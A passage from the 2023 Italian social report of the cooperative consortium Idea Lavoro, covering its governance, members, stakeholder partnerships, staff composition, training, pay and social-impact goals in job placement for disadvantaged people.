di orientamento. 27/11/2007 Significativa anche la data del rilascio dell’Autorizzazione definitiva dal Ministero del Lavoro. 4. STRUTTURA, GOVERNO E AMMINISTRAZIONE Consistenza e composizione della base sociale/associativa | Numero | Tipologia soci | |--------|----------------| | 10 | cooperative A, B e consorzi di cooperative sociali | I soci sono costituiti da cooperative sociali o consorzi di cooperative sociali sia di tipo A che di tipo B o miste. Gli enti associati sono attivi in settori eterogenei e complementari. I settori che esprimono una percentuale più alta sono l’integrazione al lavoro di persone svantaggiate, servizi finalizzati all’inserimento o al reinserimento nel mercato del lavoro dei lavoratori e delle persone svantaggiate, interventi e servizi sociali, interventi e prestazioni sanitarie, prestazioni socio-sanitarie. A partire dal 2022, Idea Lavoro ha avviato un processo, sia interno sia esterno, di valorizzazione dell’operato delle cooperative di tipo B, al fine di riconoscere, formalmente, le attività svolte come politica attiva del lavoro integrata ed integrabile nell’ambito di percorsi di accompagnamento al lavoro. La mission della Cooperativa, in generale, persegue l’obiettivo dello sviluppo sostenibile, creando modelli economici che generino ricchezza di lavoro senza compromettere ambiente e qualità della vita e capaci di superare le disuguaglianze sociali. Le cooperative socie sono impegnate nel concretizzare i valori (segue un elenco non esaustivo del lavoro svolto) del lavoro dignitoso e pari opportunità della sostenibilità – durata dello sviluppo, del pianeta, dei servizi offerti; del green economy – economia capace di migliorare il benessere umano e l’equità sociale, riducendo contestualmente i rischi ambientali e le scarsità ecologiche; del blue economy – economia basata sull’imitazione dei sistemi naturali, riutilizzando sistematicamente le risorse e azzerando gli scarti secondo la logica della circular economy del turismo etico della sartoria sociale, vero spazio di lavoro cooperativo nel quale le donne possono formarsi, sviluppare competenze sartoriali, esprimere la propria creatività e lavorare insieme. dell’integrazione, promozione, interazione e qualità del lavoro sociale Sistema di governo e controllo, articolazione, responsabilità e composizione degli organi Dati amministratori – CDA: | Nome e Cognome | Rappr. di persona giuridica – società | Sesso | Età | Data nomina | Eventuale grado di parentela con almeno un altro componente C.d.A. | Numero mandati | Ruoli ricoperti in comitati per controllo, rischi, nomine, remunerazione, sostenibilità | Presenza in C.d.A. di società controllate o facenti parte del gruppo o della rete di interesse | Carica | |----------------------|---------------------------------------|-------|-----|-------------|-----------------------------------------------------------------|---------------|------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------|---------------------| | Ada D’Onofrio | Si | F | 60 | 22/07/2022 | NO | 2 | | No | Presidente | | Alado Cavallari | No | M | 60 | 22/07/2022 | NO | 2 | | No | Vice Presidente | | Massimo Novarino | No | M | 62 | 22/07/2022 | NO | 2 | | No | Consigliere | | Andrea Rivano | No | M | 52 | 22/07/2022 | NO | 2 | | No | Consigliere | | Fabrizio Pozzoli | No | M | 53 | 22/07/2022 | NO | 2 | | No | Consigliere | | Massimo Capriotti | No | M | 56 | 22/07/2022 | NO | 2 | | No | Sindaco unico | Descrizione tipologie componenti CdA: | Numero | Membri CdA | |--------|--------------------------------------------------| | 6 | totale componenti (persone) | | 5 | di cui maschi | | 1 | di cui femmine | Modalità di nomina e durata carica La Società è amministrata da un Consiglio di Amministrazione composto da un numero di consiglieri variabile da 3 a 7, eletti dall’Assemblea ordinaria dei soci, che ne determina di volta in volta il numero. La maggioranza dei componenti del Consiglio è scelta tra le persone indicate dai soci cooperatori persone giuridiche. I soci sovventori non possono in ogni caso essere più di un terzo dei componenti del Consiglio di Amministrazione. Gli amministratori non possono essere nominati per un periodo superiore a tre esercizi consecutivi e scadono alla data dell’Assemblea convocata per l’approvazione del bilancio relativo all’ultimo esercizio della loro carica; non possono rimanere in carica per un numero di mandati consecutivi superiori a quello previsto dalla legge. Salvo quanto previsto dall’articolo 2390 del codice civile, gli amministratori non possono cumulare cariche le quali per numero, complessità ed onerosità dell’impegno operativo richiesto rendono incerto o inadeguatamente efficace l’espletamento delle funzioni amministrative. Il Consiglio elegge nel suo seno il Presidente e il vice Presidente. N. di CdA/anno + partecipazione media Nel 2023 si sono svolti 6 riunioni del Consiglio di amministrazione con la partecipazione media del 99%. I consigli di amministrazione si sono svolti con cadenza mensile o trimestrale per deliberare in merito alle ammissioni e alle dimissioni dei soci e su ogni altro argomento inerente gli aspetti gestionali organizzativi. Quest’anno il Consiglio si è riunito per deliberare in merito alle modalità, e agli interventi da attuare, per il cambiamento del commercialista, le necessità di inserimento di nuovo personale diretto, monitorare la situazione dei soci, implementare la base sociale, potenziare il sistema di digitalizzazione del Consorzio e aderire a reti territoriali o ATS nell’ambito di progetti sostenuti da Enti privati e Fondazioni bancarie. Inoltre si è riunito per deliberare l’analisi della bozza del bilancio d’esercizio e bilancio sociale 2022 e del nonché per convocare l’assemblea dei soci. Tipologia organo di controllo L’organo di controllo è rappresentato dal sindaco unico che svolge le funzioni anche di revisione legale dei conti essendo in possesso dei requisiti previsti, ovvero iscrizione al registro dei revisori contabili D.M. 09/04/2003 in G.U. 31 del 18704/2003. Il compenso percepito dal Sindaco Unico è stato deliberato dall’assemblea dei soci ed è pari a € 4.000,00 annui; è stata deliberata, inoltre, il riconoscimento di una tariffa oraria di 90,00= euro per eventuali interventi che si rendessero necessari oltre a quelli ordinari previsti come sindaco unico e revisore legale. Si precisa che non ci si trova in uno degli stati di incompatibilità previsti dall’art.2399 c.c. Partecipazione dei soci e modalità (ultimi 3 anni): | Anno | Assemblea | Data | Punti OdG | % partecipazione | % deleghe | |------|--------------------|------------|-----------|------------------|-----------| | 2021 | Presenza e remoto | 29/07/2021 | 6 | 100,00 | 40,00 | | 2022 | Presenza e remoto | 22/07/2022 | 6 | 90,00 | 0,00 | | 2023 | Presenza e remoto | 21/07/2023 | 5 | 90,00 | 20,00 | Nel corso del 2023, si è ampliata la progettualità per coinvolgere i soci come partner diretti nell’ambito di importanti iniziative che non ammettevano l’intervento di personale in distacco da soci consorziati; tale modalità progettuale ha permesso di avere più occasioni di dialogo e confronto. Sono continuati i laboratori tematici, in materia di Politica Attiva del Lavoro e nuove metodologie per le azioni di accompagnamento al lavoro al fine di avere una linea nazionale comune di intervento. Importante anche il lavoro del Team per il coordinamento nazionale che ha svolto numerose attività per la partecipazione degli associati, ovvero: - sono continue le azioni di supporto, verso le filiali, per la presentazione di progetti, la stesura di offerte commerciali verso nuovi clienti e per predisporre la documentazione necessaria al mantenimento dell’accreditamento regionale oltre che per la rendicontazione di progetti specifici. È continuato il supporto alle filiali in tema di transizione digitale, in particolare per facilitare l’utilizzo del Google Workspace aziendale e della piattaforma collaborativa SweetHive con annesso CRM. La vita associativa, proprio per la struttura di Consorzio, si svolge in differenti forme e contesti. In prima battuta essa risiede nel lavoro comune finalizzato alla crescita e al benessere dell’organizzazione, che vede fra i pilastri della propria azione sociale la creazione di lavoro qualificato, sicuro e sostenibile per i propri soci, i dipendenti diretti e indiretti, ovvero in distacco/incaricati dai soci per svolgere le attività presso le proprie sedi operative. La partecipazione dei soci alla vita dell’Ente è inoltre promossa tramite lo strumento della co-progettazione, impiegato ad esempio nella definizione periodica dei programmi o misure da intraprendere o in corrispondenza di momenti di approfondimento o di ricerca finalizzata alla formazione professionale e sviluppo delle competenze. Ogni socio, inoltre, ha accesso diretto alla dirigenza e al CdA qualora lo ritenga necessario. **Mappatura dei principali stakeholder** **Tipologia di stakeholder:** | Tipologia Stakeholder | Modalità coinvolgimento | Intensità | |-----------------------|----------------------------------------------------------------------------------------|-----------| | Personale | Tramite riunioni di coordinamento e momenti formativi oltre gli obblighi di legge | 2 - Consultazione | | Soci | Il coordinamento nazionale opera per facilitare le occasioni di scambio e condivisione delle esperienze territoriali sia in termini di rilevazione delle partecipazioni a tavoli istituzionali regionali sia rispetto all’operatività della filiale. Il potenziamento dello scambio ha permesso la partecipazione a progetti multiregionali. | 3 - Co-progettazione | | Finanziatori | Idea lavoro ha relazioni con tre istituti di credito. Il potenziamento dei servizi e delle attività comporta un costante impiego di flussi finanziari. Lo sviluppo delle attività e dei servizi che ha permesso un maggior posizionamento sui territori, la solidità economica, ha creato un rapporto di fiducia che si traduce anche nella concessione di credito di funzionamento e di finanziamento nei confronti del Consorzio. Si sono incrementate le attività di co-progettazione con | 1 - Informazione | | Partecipanti | Descrizione | Livello di partecipazione | |-------------|------------------------------------------------------------------------------|---------------------------| | Fondazioni bancarie e Imprese sociali del terzo settore. Numerose sono state le partecipazioni a percorsi di capacity building organizzati dalle stesse organizzazioni. | 1 - Informazione | | Clienti e Utenti | Si evidenzia il rafforzamento delle collaborazioni con le aziende profit, in via generale, su tutti i territori regionali ove è presente Idea Lavoro. L’azienda è coinvolta come partner, con responsabilità precise, per la buona riuscita dei progetti di accompagnamento al lavoro e inserimento lavorativo. | 2 - Consultazione | | Fornitori | Negli anni la partecipazione dei fornitori è stata affinata e rivista con l’approccio multi-stakeholder attivo. Si è individuata una filiera di fornitori qualificati che, per questo, hanno potuto essere coinvolti maggiormente nell’ambito del Consorzio a partire da rapporti di fidelizzazione e di ricerca di sviluppi comuni. | 1 - Informazione | | Pubblica Amministrazione | La Pubblica Amministrazione viene coinvolta nella gestione dei servizi attraverso lo strumento della co-progettazione tramite la ricerca e l’analisi congiunta dei bisogni territoriali e la progettazione di servizi e interventi specifici. | 3 - Co-progettazione | | Collettività | Tramite Iniziative territoriali organizzate tra enti pubblici, privati profit e terzo settore. Lo strumento del Bilancio Sociale è uno degli aspetti per raggiungere la collettività, in quanto viene diffuso tramite diversi canali. Tale attività è inoltre svolta attraverso il sito internet che è costantemente aggiornato. | 1 - Informazione | Percentuale di Partnership pubblico: 50,00% **Livello di influenza e ordine di priorità** ![Diagramma di influenza](image) **SCALA:** 1 - Informazione 2 - Consultazione 3 - Co-progettazione 4 - Co-produzione 5 - Co-gestione **Tipologia di collaborazioni:** | Descrizione | Tipologia soggetto | Tipo di collaborazione | Forme di collaborazione | |------------------------------------------------------------------------------|--------------------|------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------| | Regioni dove sono presenti le nostre filiali | Ente pubblico | Altro | Erogazione dei Servizi al Lavoro ed erogazione delle misure di Politica Attiva del Lavoro | | Consorzi dei servizi sociali C.I.S.S. di Pinerolo | Ente pubblico | Convenzione | Coprogettazione per la gestione dei servizi nell’ambito della misura M5C2 del PNRR (Dimissioni ospedaliere e domiciliarità; Percorsi di autonomia per persone con disabilità) | | Con.I.S.A., Consorzio Intercomunale Socio-Assistenziale Valle di Susa | Ente pubblico | Accordo | Co progettazione per l’erogazione di servizi nell’ambito di progetti territoriali | | Ambito territoriale di Taurianova | Ente pubblico | Protocollo | Rafforzamento delle competenze professionali spendibili sul mercato del lavoro o propedeutiche al conseguimento di una maggiore occupabilità, in favore di 105 persone (famiglie in carico ai servizi di assistenza sociale territoriale in condizione di svantaggio socio-economico, inoccupate e/o disoccupate) | | Città Metropolitana di Reggio Calabria | Ente pubblico | Convenzione | Servizi innovativi per l’inclusione lavorativa di disabili e categorie svantaggiate in aree degradate. | | DSM di Catania | Ente pubblico | Convenzione | Collaborazione nella stesura di Progetti Terapeutici individuali di persone prese in carico nell’ambito del budget di salute | | Città di Torino | Ente pubblico | Altro | Assegnazione, a seguito gara di appalto, del servizio del Centro Lavoro della Città di Torino. Il servizio è gestito in raggruppamento temporaneto con Cooperativa Orso, consorzio SINAPSI ed ENGIM Piemonte | | Ente | Tipo di ente | Tipo di accordo | Descrizione | |------|--------------|----------------|-------------| | Comune di Genova | Ente pubblico | Convenzione | Gestione dei servizi per la domiciliarità nell'ambito del sistema di accreditato Do.Ge che consente la libera scelta del fornitore, fra i 6 individuati dal Comune di Genova a tariffe concordate con la Civica Amministrazione che ne monitora gli standard qualitativi. | | Comune di Giaveno | Ente pubblico | Accordo | Collaborazione nell'ambito del progetto con comuni della val di Susa, consorzio CONISA, ASL TO3 ed ETS del territorio per la definizione di servizi innovativi rivolti ai giovani per prevenire e contrastare forme di disagio | | Comune di Giaveno | Ente pubblico | Accordo | Collaborazione nell'ambito dei Cantieri di Lavoro per persone sottoposte a misure restrittive della libertà personale | | Regione Piemonte | Ente pubblico | Accordo | Accordo di partenariato nell'ambito dell'Accademia Piemonte per Welfare, Coesione ed Innovazione Sociale | | AMMI ETS | Altri enti senza scopo di lucro | Accordo | Sostegno a varie iniziative territoriali nell'ambito del Piano di inclusione sociale della Città di Torino | | A.V.A.S.S. ODV | Organizzazione di volontariato | Protocollo | Accompagnamento al lavoro di donne in condizione di svantaggio | | ANLIB ODV | Organizzazione di volontariato | Protocollo | Accompagnamento al lavoro di donne in condizione di svantaggio | | ACEA-CPE | Imprese commerciali | Protocollo | Collaborazione nell'ambito dell'Osservatorio Pinerolese per il lavoro | | ATYPICA S.C.S. | Cooperativa sociale | Accordo | Accordo di collaborazione nell'ambito di progetti territoriali finalizzati al potenziamento dei servizi di welfare aziendale e territoriale | | CSDA s.c.s. | Cooperativa sociale | Accordo | Accordo di collaborazione nell'ambito di progetti territoriali | | COMMISSIONE SINODALE PER LA DIACONIA ETS | Altri enti senza scopo di lucro | Accordo | Collaborazione nell'ambito di progetti territoriali per l'accompagnamento al lavoro per persone in condizione di fragilità, in specifico per persone con background migratorio | | Nome dell'organizzazione | Tipo di ente | Tipo di accordo | Descrizione | |--------------------------|--------------|----------------|-------------| | coop AMICO | Cooperativa sociale | Accordo | Accordo di partenariato per progetti svolti nel territorio della Val di Susa e Unione Montana | | coop ARCOBALENO | Cooperativa sociale | Accordo | Accordo di partenariato per progetti svolti nel territorio della Val di Susa e Unione Montana | | coop Marianella Garcia | Cooperativa sociale | Accordo | Accordo di partenariato per progetti svolti nel territorio di Catania | | coop Iride | Cooperativa sociale | Accordo | Accordo di partenariato per progetti svolti nel territorio di Catania | | La Piazzetta ODV | Organizzazione di volontariato | Accordo | Accordo di partenariato per progetti svolti nel territorio della Val di Susa e Unione Montana | | SVOLTA DONNA | Altri enti senza scopo di lucro | Accordo | Realizzazione di interventi per il sostegno abitativo e di reinserimento lavorativo e più in generale per l’accompagnamento nei percorsi di fuori uscita della violenza per donne residenti nella Città Metropolita di Torino | | Società Mutua Piemonte | Altri enti senza scopo di lucro | Convenzione | Collaborazione e partenariato per l’erogazione di servizi qualificati per la domiciliarità | | SERMIG TORINO | Altri enti senza scopo di lucro | Protocollo | Collaborazione per l’accompagnamento orientativo ed al lavoro di persone in condizione di estrema fragilità sociale | | coop Forma Libera | Cooperativa sociale | Accordo | Realizzazione di interventi per il sostegno abitativo e di reinserimento lavorativo e più in generale per l’accompagnamento nei percorsi di fuori uscita della violenza per donne residenti nella Città Metropolita di Torino | | Centri antiviolenza E.M.M.A | Altri enti senza scopo di lucro | Accordo | Accordo di partenariato per la realizzazione di interventi finalizzati al sostegno abitativo e di reinserimento lavorativo e più in generale per l’accompagnamento nei percorsi di fuori uscita della violenza per donne residenti nella Città Metropolita di Torino. Progetti per l’accompagnamento orientativo ed al lavoro per ragazzi e ragazze orfani a causa di violenza domestica. | | cooperativa P.G. FRASSATI | Cooperativa sociale | Accordo | Accordo di partenariato per la realizzazione di interventi, sostenuti | | Nome dell'organizzazione | Tipo di ente | Tipo di accordo | Descrizione | |--------------------------|--------------|----------------|-------------| | Fondazione Compagnia di San Paolo | Altri enti senza scopo di lucro | Accordo | Interventi nell'ambito del progetto in risposta al bando “Beni Confiscati alle Mafie”. Il Progetto con Capofila il Consorzio Macramè trame solidali nelle terre del Sole(socio di Idea Lavoro), ha visto la partecipazione | | Fondazione Time 2 | Altri enti senza scopo di lucro | Accordo | Collaborazione nell'ambito delle misure di Politica Attiva del Lavoro della regione Sicilia | | SAVE THE CHILDREN | Altri enti senza scopo di lucro | Accordo | Collaborazione nell'ambito di progetti finalizzati all'inserimento lavorativo ed al welfare aziendale/territoriale | | SLOW FOOD | Altri enti senza scopo di lucro | Accordo | Collaborazione nell'ambito di progetti territoriali per l'accompagnamento al lavoro per persone in condizione di fragilità, in specifico per persone con background migratorio | | Rete Italiana di Cultura Popolare | Altri enti senza scopo di lucro | Accordo | Collaborazione nell'ambito di progetti che favoriscono l'autonomia di giovani migrati nel territorio siciliano | | coop Crescere Insieme | Cooperativa sociale | Accordo | Collaborazione nell'ambito di progetti che favoriscono l'autonomia di giovani migrati nel territorio siciliano | | UNIONE INDUSTRIALE DI TORINO | Imprese commerciali | Altro | Collaborazione nell'ambito di progetti finalizzati all'inserimento lavorativo ed al welfare aziendale/territoriale | | ETNAHITECH SCPA | Imprese commerciali | Accordo | Collaborazione nell'ambito di progetti finalizzati all'inserimento lavorativo ed al welfare aziendale/territoriale | | SEND ETS | Cooperativa sociale | Accordo | Collaborazione nell'ambito di progetti finalizzati all'inserimento lavorativo ed al welfare aziendale/territoriale | | Fondazione con il sud | Altri enti senza scopo di lucro | Accordo | Collaborazione nell'ambito di progetti finalizzati all'inserimento lavorativo ed al welfare aziendale/territoriale | | Ente | Tipo di ente | Tipo di accordo | Descrizione | |------|--------------|-----------------|-------------| | Idea Agenzia per il lavoro | Cooperativa sociale | Accordo | Collaborazione per la realizzazione di interventi per l’accompagnamento al lavoro di persone in condizione di svantaggio | | GRUPPO ARCO TORINO | Cooperativa sociale | Accordo | Collaborazione per la realizzazione di interventi per l’accompagnamento al lavoro di persone in condizione di svantaggio | | ENGIM PIEMONTE | Altri enti senza scopo di lucro | Accordo | Accordo per la realizzazione di interventi a favore di persone con disabilità. I progetti sono sostenuti dalla regione Piemonte | | CFIQ | Altri enti senza scopo di lucro | Accordo | Accordo di collaborazione nell’ambito di numerosi progetti territoriali | | Idea Formazione | Altri enti senza scopo di lucro | Accordo | Accordo di collaborazione per la progettazione di percorsi formativi finalizzati a facilitare l’inserimento lavorativo | | SAGE SERVIZI | Altro | Accordo | Accordo di collaborazione per la progettazione di percorsi formativi finalizzati a facilitare l’inserimento lavorativo | | YES4TO | Imprese commerciali | Altro | Collaborazione per la promozione di progetti di integrazione, inclusione ed inserimento lavorativo | **Presenza sistema di rilevazioni di feedback** 170 questionari somministrati 0 procedure feedback avviate **Commento ai dati** I dati risultano inferiori alla somministrazione poiché i questionari non vengono restituiti. Si segnala, comunque, una buona soddisfazione sia da parte di aziende profit, di famiglie private, di studi professionali e di enti pubblici. I questionari vengono inviati ai clienti a libero mercato e sono in forma anonima. Quando vengono effettuate azioni all’interno di sistemi di accreditamento regionale, i questionari di valutazione e soddisfazione vengono inviati e gestiti a campione dall’ente finanziatore e non dagli erogatori di servizi. 5. PERSONE CHE OPERANO PER L'ENTE Tipologie, consistenza e composizione del personale (retribuito o volontario) Occupazioni/Cessazioni: | N. | Occupazioni | |----|-------------------------------------------------| | 9 | Totale lavoratori subordinati occupati anno di riferimento | | 2 | di cui maschi | | 7 | di cui femmine | | 1 | di cui under 35 | | 3 | di cui over 50 | | N. | Cessazioni | |----|-------------------------------------------------| | 0 | Totale cessazioni anno di riferimento | | 0 | di cui maschi | | 0 | di cui femmine | | 0 | di cui under 35 | | 0 | di cui over 50 | Assunzioni/Stabilizzazioni: | N. | Assunzioni | |----|-------------------------------------------------| | 3 | Nuove assunzioni anno di riferimento* | | 1 | di cui maschi | | 2 | di cui femmine | | 0 | di cui under 35 | | 0 | di cui over 50 | | N. | Stabilizzazioni | |----|-------------------------------------------------| | 1 | Stabilizzazioni anno di riferimento* | | 0 | di cui maschi | | 1 | di cui femmine | | 0 | di cui under 35 | | 1 | di cui over 50 | * da disoccupato/tirocinante a occupato * da determinato a indeterminato Composizione del personale Personale per inquadramento e tipologia contrattuale: | Contratti di lavoro | A tempo indeterminato | A tempo determinato | |---------------------|-----------------------|---------------------| | Totale | 5 | 4 | | Dirigenti | 0 | 0 | | Quadri | 0 | 0 | | Impiegati | 5 | 4 | | Operai fissi | 0 | 0 | | Operai avventizi | 0 | 0 | | Altro | 0 | 0 | Composizione del personale per anzianità aziendale: | Anzianità aziendale | In forza al 2023 | In forza al 2022 | |---------------------|------------------|------------------| | Totale | 9 | 7 | | < 6 anni | 7 | 5 | | 6-10 anni | 0 | 0 | | 11-20 anni | 2 | 2 | | > 20 anni | 0 | 0 | | N. dipendenti | Profili | |---------------|-------------------------------------------------------------------------| | 9 | Totale dipendenti | | 2 | Responsabile di area aziendale strategica | | 0 | Direttrice/ore aziendale | | 0 | Coordinatrice/ore di unità operativa e/o servizi complessi | | 0 | Capo ufficio / Coordinatrice/ore | | 0 | di cui educatori | | 0 | di cui operatori socio-sanitari (OSS) | | 0 | operai/e | | 0 | assistenti all'infanzia | | 0 | assistenti domiciliari | | 0 | animatori/trici | | 0 | mediatori/trici culturali | | 0 | logopedisti/e | | 1 | psicologi/ghe | | 0 | sociologi/ghe | | 6 | operatori/trici dell'inserimento lavorativo | | 0 | autisti | | 0 | operatori/trici agricoli | | 0 | operatore dell'igiene ambientale | | 0 | cuochi/e | | 0 | camerieri/e | | Di cui dipendenti Svantaggiati | | |--------------------------------|------------------| | 0 | Totale dipendenti | | 0 | di cui Lavoratori con svantaggio certificato (n. 381/1991, ecc) | | N. Lavoratori | Tipologia svantaggio | di cui dipendenti | di cui in tirocinio/stage | |---------------|-------------------------------------------------------------------------------------|-------------------|--------------------------| | 0 | Totale persone con svantaggio | 0 | 0 | | 0 | persone con disabilità fisica e/o sensoriale L 381/91 | 0 | 0 | | 0 | persone con disabilità psichica L 381/91 | 0 | 0 | | 0 | persone con dipendenze L 381/91 | 0 | 0 | | 0 | persone minori in età lavorativa in situazioni di difficoltà familiare L 381/91 | 0 | 0 | | 0 | persone detenute e in misure alternative L 381/91 | 0 | 0 | | 0 | persone con disagio sociale (non certificati) o molto svantaggiate ai sensi del regolamento comunitario 651/2014, non già presenti nell'elenco | 0 | 0 | Livello di istruzione del personale occupato: | N. Lavoratori | Tipologia svantaggio | di cui dipendenti | di cui in tirocinio/stage | |---------------|-------------------------------------------------------------------------------------|-------------------|--------------------------| | 0 | Dottorato di ricerca | 0 | 0 | | 0 | Master di II livello | 0 | 0 | | 8 | Laurea Magistrale | 0 | 0 | | 0 | Master di I livello | 0 | 0 | | 0 | Laurea Triennale | 0 | 0 | | 1 | Diploma di scuola superiore | 0 | 0 | | 0 | Licenza media | 0 | 0 | | 0 | Altro | 0 | 0 | 0 lavoratori con svantaggio soci della cooperativa 0 lavoratori dipendenti con svantaggio e con contratto a tempo indeterminato Volontari | N. volontari | Tipologia Volontari | |--------------|--------------------------------------| | 0 | Totale volontari | | 0 | di cui soci-volontari | | 0 | di cui volontari in Servizio Civile | Attività di formazione e valorizzazione realizzate Formazione professionale: | Ore totali | Tema formativo | N. partecipanti | Ore formazione pro-capite | Obbligatoria/non obbligatoria | Costi sostenuti | |------------|--------------------|-----------------|---------------------------|-------------------------------|-----------------| | 12 | Gestionali interni | 3 | 4,00 | No | 252,00 | Formazione salute e sicurezza: | Ore totali | Tema formativo | N. partecipanti | Ore formazione pro-capite | Obbligatoria/non obbligatoria | Costi sostenuti | |------------|---------------------------------------|-----------------|---------------------------|-------------------------------|-----------------| | 32 | Igiene e sicurezza nei luoghi di lavoro | 4 | 8,00 | Si | 341,60 | | 36 | Regolamento 679/2026 | 9 | 4,00 | Si | 300,00 | Contratto di lavoro applicato ai lavoratori Tipologie contrattuali e flessibilità: | N. | Tempo indeterminato | Full-time | Part-time | |----|---------------------|-----------|-----------| | 5 | Totale dipendenti indeterminato | 5 | 0 | | 1 | di cui maschi | 1 | 0 | | 4 | di cui femmine | 4 | 0 | | N. | Tempo determinato | Full-time | Part-time | |----|-------------------|-----------|-----------| | N. | Stagionali /occasionali | |----|-------------------------| | 6 | Totale lav. stagionali/occasionali | | 2 | di cui maschi | | 4 | di cui femmine | | N. | Autonomi | |----|----------| | 2 | Totale lav. autonomi | | 0 | di cui maschi | | 2 | di cui femmine | **Natura delle attività svolte dai volontari** Il Consorzio non si avvale di volontari. **Struttura dei compensi, delle retribuzioni, delle indennità di carica e modalità e importi dei rimborsi ai volontari “emolumenti, compensi o corrispettivi a qualsiasi titolo attribuiti ai componenti degli organi di amministrazione e controllo, ai dirigenti nonché agli associati”** | Tipologia compenso | Totale Annuo Lordo | |--------------------|--------------------| | Membri Cda | Altro | 21600,00 | | Organi di controllo| Emolumenti | 10000,00 | | Dirigenti | Non definito | 0,00 | | Associati | Non definito | 0,00 | CCNL applicato ai lavoratori: **Contratto Nazionale delle cooperative sociali** **Rapporto tra retribuzione annua lorda massima e minima dei lavoratori dipendenti dell’ente** 25032,67/20467,33 In caso di utilizzo della possibilità di effettuare rimborsi ai volontari a fronte di autocertificazione, modalità di regolamentazione, importo dei rimborsi complessivi annuali e numero di volontari che ne hanno usufruito Importo rimborsi dei volontari complessivi annuali: 0,00 € Numero di volontari che ne hanno usufruito: 0 Modalità di regolamentazione per rimborso volontari: Il Consorzio non si avvale di personale volontario 6. OBIETTIVI E ATTIVITÀ Dimensioni di valore e obiettivi di impatto Sviluppo economico del territorio, Capacità di generare valore aggiunto economico, Attivazione di risorse economiche "comunitarie" e Aumento del reddito medio disponibile o della ricchezza netta media pro capite: Idea Lavoro è ampiamente impegnata a fianco degli enti committenti e dei decisori pubblici per lo sviluppo della comunità e la progettazione e gestione di misure a contrasto della povertà, causata dalla mancanza del lavoro nonché a favore della conciliazione vita lavoro dei cittadini e delle cittadine (progettualità sui temi del welfare aziendale e territoriale). In secondo luogo, tramite la progettazione per bandi di finanziamento, il Consorzio contribuisce all'attivazione territoriale di risorse comunitarie tramite i vari bandi pubblicati dalle regioni in cui opera. L'utilizzo di tali fondi, inoltre, canalizza risorse verso le imprese territoriali che beneficiano dei servizi erogati senza costi aggiuntivi, liberando così, ulteriori benefici dirette delle aziende profit e enti del terzo settore. Governance democratica ed inclusiva, Creazione di governance multistakeholder (stakeholder engagement) e Aumento della presenza di donne/giovani/altre categorie (?) negli organi decisionali (% di donne/giovani/altre categorie (?) in posizione apicale negli organi decisionali sul totale dei componenti): Il Consorzio Idea Lavoro è una società cooperativa sociale di secondo livello e si evidenzia che, nell'ambito degli organi apicali, CdA e Dirigenti dell'ente stesso e dei soci, la percentuale di categorie connesse alle pari opportunità è il 55%. Nell'ambito del governo dei servizi specifici si attesta a oltre l'80%. Il Consorzio esprime una maggioranza di donne lavoratrici, al 31/12/2023 infatti risultano dipendenti 7 donne rispetto a 2 uomini. Partecipazione e inclusione dei lavoratori, Coinvolgimento dei lavoratori, Crescita professionale dei lavoratori e Aumento del livello di benessere personale dei lavoratori oppure riduzione dell'incidenza di occupati sovrastrutti (% di occupati che possiedono un titolo di studio superiore a quello maggiormente posseduto per svolgere quella professione sul totale degli occupati): Idea Lavoro considera prioritaria la crescita professionale e delle persone e la persegue attraverso la formazione continua delle lavoratrici e dei lavoratori. I percorsi formativi hanno l'obiettivo di diffondere e promuovere i valori etici e gli aspetti peculiari che contraddistinguono la nostra organizzazione oltre che per migliorare la produttività e l'efficienza; tali fattori non sono secondari ma crediamo che si raggiungano se i lavoratori condividono i valori e la missione . Il Consorzio, pertanto, ha promosso i seguenti percorsi formativi: aggiornamento tecnico/normativo, conoscenza delle procedure di lavoro, conoscenza dell'organizzazione, comprensione dei valori della cooperazione e le peculiari modalità di approccio al lavoro (rispetto, gentilezza, condivisione, collaborazione reciprocity, miglioramento della sicurezza sui luoghi di lavoro. Le iniziative sono finalizzate all'acquisizione di competenze trasversali, impiegabili nei vari contesti interni ed esterni. La formazione viene erogata in diverse modalità: per affiancamento, in sede, presso vari stakeholder, attraverso partecipazione a Convegni, Seminari e Workshop. Resilienza occupazionale, Capacità di generare occupazione, Capacità di mantenere occupazione e Aumento del tasso di occupazione 20-64 anni del territorio di riferimento oppure % di trasformazioni nel corso di un anno da lavori instabili a lavori stabili / % di occupati in lavori instabili al tempo t0 (dipendenti con lavoro a termine + collaboratori) che a un anno di distanza svolgono un lavoro stabile (dipendenti a tempo indeterminato) sul totale degli occupati in lavori instabili al tempo t0): L’azione di sviluppo del Consorzio ha consentito, ovviamente in modo proporzionale alla sua crescita, di creare e garantire, dalla sua nascita, nuovi posti di lavoro qualificati; Idea Lavoro ha come obiettivo la stabilizzazione dei lavoratori e delle lavoratrici assunti in forma diretta. Nel corso dell’anno 2023 si è riusciti ad incrementare l’orario di lavoro, a tempo pieno, di tre lavoratori. Sicuramente è significativa l’azione di Idea Lavoro rispetto all’aumento del tasso di occupazione nei territori in quali opera in stretta collaborazione con i Centri per l’Impiego e nell’ambito della rete dei Servizi al Lavoro autorizzati e/o accreditati dalle regioni. Idea Lavoro si impegna nell’inserire al lavoro donne over 50 che, pur avendo un livello di formazione medio/alto, hanno difficoltà ad inserirsi/reinserirsi nel mercato del lavoro. Cambiamenti sui beneficiari diretti e indiretti, Benessere dei lavoratori svantaggiati e Riduzione dello svantaggio e crescita personale delle persone svantaggiate: Idea Lavoro, sin dall’inizio della propria attività, è focalizzata nella gestione degli inserimenti nel pieno rispetto della propria missione sociale. Nel percorso di inserimento lavorativo la persona è aiutata a raggiungere chiari obiettivi personali e professionali al fine di migliorare le proprie conoscenze e capacità da poter spendere sia all’interno della nostra rete cooperativa sia con la prospettiva di un percorso professionale fuori dal nostro contesto (in specifico verso aziende profit). Infatti, quando il percorso ha successo, la riqualificazione lavorativa è davvero efficace in quanto la persona riacquista sicurezza nei propri mezzi e piena autonomia. Inoltre, nell’ambito dei servizi di accompagnamento al lavoro, gestiti territorialmente in collaborazione con i Consorzi dei servizi sociali, l’ASL, i Centri per l’Impiego, le comunità gestite da colleghi cooperatori, numerosi sono i progetti di empowerment personale condotti a beneficio di persone in condizione di svantaggiate o in condizione di disabilità. Il lavoro è sempre svolto in rete e, ove possibile, coinvolge le famiglie dei destinatari dei servizi. Cambiamenti sui beneficiari diretti e indiretti, Miglioramento/mantenimento qualità della vita (beneficiari diretti/utenti) e Aumento del livello di benessere personale degli utenti oppure Aumento della % di persone soddisfatte per la propria vita (Soddisfazione per la propria vita: Percentuale di persone di 14 anni e più che hanno espresso un punteggio di soddisfazione per la vita tra 8 e 10 sul totale delle persone di 14 